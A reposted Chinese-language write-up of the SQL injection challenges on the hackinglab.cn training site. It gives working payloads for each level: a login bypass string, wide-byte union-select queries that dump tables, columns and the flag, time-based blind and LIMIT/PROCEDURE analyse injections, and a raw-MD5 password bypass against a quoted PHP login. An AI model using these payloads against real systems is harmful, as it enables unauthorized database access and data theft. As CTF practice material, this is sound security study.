網絡安全實驗室 注入關通關writeup


URL:http://hackinglab.cn

注入關  
[1] 最簡單的SQL注入
username = admin' or ''='
password隨便什么都可以直接可以登錄

[2] 熟悉注入環境
username = admin or 1=1
password 隨便什么

[3] 防注入
根據響應頭中返回的 charset=gb2312 ,猜測可能是一個寬字節注入,通過驗證后開始正常的注入流程

注入字段長度
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by 3
得到字段長度為3。

得到顯示位
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3
得到顯示位是2,3

得到數據庫表的信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
得到在當前數據庫中僅僅存在一個表, sae_user_sqli4

得到字段信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=sae_user_sqli4)
得到在sae_user_sqli4表中有 id,title_1,content_1 3個字段。

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4)
就可以的得到Flag了。Flag:flag is here!


[4] 到底能不能回顯
找到注入點,發現回顯會多一個",1",並且"1"由num參數控制。並且不加num參數不提供報錯,由此想到limit注入。

根據本地測試,找到注入方法

tip:如果不回顯,利用方式如下:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,(1)),1))))),1)

[5] 邂逅
神坑。查看源代碼,發現有參數ID。以為注入點就是ID。經過嘗試,是ID的值使用了lstrip()函數,只去前面開頭的數字。無思路后,查看了其他人的writeup,發現是圖片注入,還是第一次見到。還是寬字節注入。找到注入點,開始常規的注入方法。

[6] ErrorBased

頁面打不開

[7]
不難判斷出參數username有注入。但是不管不注入正確與否的sql語句,總是返回正確的頁面。不難想出基本時間的注入
' and if("1"="2",1,sleep(10))# 成功等待十秒

' and if(ascii(substr((select database()),{},1))>{}).format(n.nums)
成功構建payload。剩下的就是要腳本直接跑了

[8]SQL注入通用防護
打不開鏈接

[9]據說哈希后的密碼是不能產生注入的
右鍵查看源代碼

 

include "config.php";


if(isset($_GET['userid']) && isset($_GET['pwd'])){

    $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
    
    $conn=mysql_connect($dbhost,$username,$pwd);
    mysql_select_db($db,$conn);
    $result=mysql_query($strsql);
    print_r(mysql_error());
    $row=mysql_fetch_array($result);
    mysql_close($conn);
    echo "<pre>";
    print_r($row);
    
    echo "</pre>";
    if($row!=null){
        echo "Flag: ".$flag;
    }
    
}
else{
    echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);

 

發現傳入參數userid和pwd.對userid進行整形轉化,pwd進行MD5加密。再到數據庫中去數據,如果取出來,輸出flag。感覺像是web弱類型繞過。

沒有思路,最后看writeup。發現了這個


可以偽造成
select * from `user` where userid='1' and pwd = ''or'6É]™é!r,ùíb'
成功繞過。漲姿勢。直接訪問

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM